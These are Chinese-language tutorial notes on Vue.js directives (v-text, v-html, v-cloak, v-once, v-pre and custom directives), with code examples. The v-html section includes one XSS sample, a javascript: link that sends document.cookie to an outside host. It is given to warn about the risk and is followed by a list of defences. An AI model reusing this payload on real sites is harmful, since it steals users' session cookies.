1、v-text指令
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)
v-text指令(不会解析标签):
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<body>
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<!-- div里面的内容将会被完全替代 -->
<div v-text="name"></div>
<!-- 不会解析标签 -->
<div v-text="str"></div>
</div>
</body>
<script>
new Vue({
el:'#root',
data:{
name:'北京',
str:'<h3>你好啊!</h3>'
}
})
</script>
2、v-html指令(支持解析结构)
v-html指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
补充:cokie
<body>
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script>
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
跨站脚本攻击(XSS)是一种常见的网络安全漏洞,攻击者通过在网页中注入恶意脚本,使得用户在浏览器上
运行这些脚本,从而达到攻击的目的。XSS攻击通常利用网站对用户输入的信任,通过在网页中插入恶意脚本,
来窃取用户信息、会话令牌,甚至控制用户的账户。
解决XSS攻击的方法包括:
1. 输入验证和过滤:对用户输入的数据进行严格的验证和过滤,确保用户输入的内容不包含恶意脚本。这可
以通过移除或转义特殊字符来实现,比如`<`、`>`、`&`等。
2. 输出转义:在将用户输入的数据渲染到网页上时,确保对其进行适当的转义,以防止其中包含的HTML、
JavaScript等代码被浏览器执行。
3. 内容安全策略(CSP):使用内容安全策略来限制网页中可以加载的资源和执行的脚本,
从而减少XSS攻击的可能性。
4. HttpOnly标记:对于敏感的cookie,可以使用HttpOnly标记来防止JavaScript访问,
从而减少XSS攻击对cookie的影响。
5. 安全编程实践:开发人员应该遵循安全的编程实践,比如不信任用户输入、不直接拼接用户输入到HTML中。
3、v-cloak指令
v-cloak指令(没有值):
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
补充:
v-cloak指令是Vue.js框架提供的一个用于防止页面闪烁的指令。当Vue实例初始化时,如果使用了v-cloak指令,
那么指令所在的元素及其子元素会先被隐藏,直到Vue实例完成编译。这样可以避免页面在Vue实例加载之前显示出
未编译的{{}}插值表达式,从而提供更好的用户体验。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
/* 属性选择器,选中所有含有v-cloak属性的标签 */
[v-cloak]{
display:none;
}
</style>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script>
console.log(1)
new Vue({
el:'#root',
data:{
name:'北京,北京'
}
})
</script>
</html>
4、v-once指令
v-once指令:
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script>
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
5、v-pre指令
v-pre指令:
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script>
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
6、自定义指令
自定义指令总结:
一、定义语法:
(1).局部指令:
new Vue({ new Vue({
directives:{指令名:配置对象} 或 directives{指令名:回调函数}
}) })
(2).全局指令:
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
二、配置对象中常用的3个回调:
(1).bind:指令与元素成功绑定时调用。
(2).inserted:指令所在元素被插入页面时调用。
(3).update:指令所在模板结构被重新解析时调用。
三、备注:
1.指令定义时不加v-,但使用时要加v-;
2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
8、总结
<body>
<!-- 命令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。-->
<!-- 准备好一个容器-->
<div id="root">
<h2>当前的n值是:<span v-text="n"></span> </h2>
<h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2>
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr/>
<input type="text" v-fbind:value="n">
</div>
</body>
定义全局指令
<script>
//定义全局指令
Vue.directive('fbind',{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
})
</script>
定义局部指令
<script>
new Vue({
el:'#root',
data:{
n:1
},
directives:{
// 简写形式,key:value形式
'big-number'(element,binding){
element.innerText = binding.value * 10
},
// 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
big(element,binding){
console.log('big',this) //注意此处的this是window
element.innerText = binding.value * 10
},
// 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
fbind:{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
}
}
})
</script>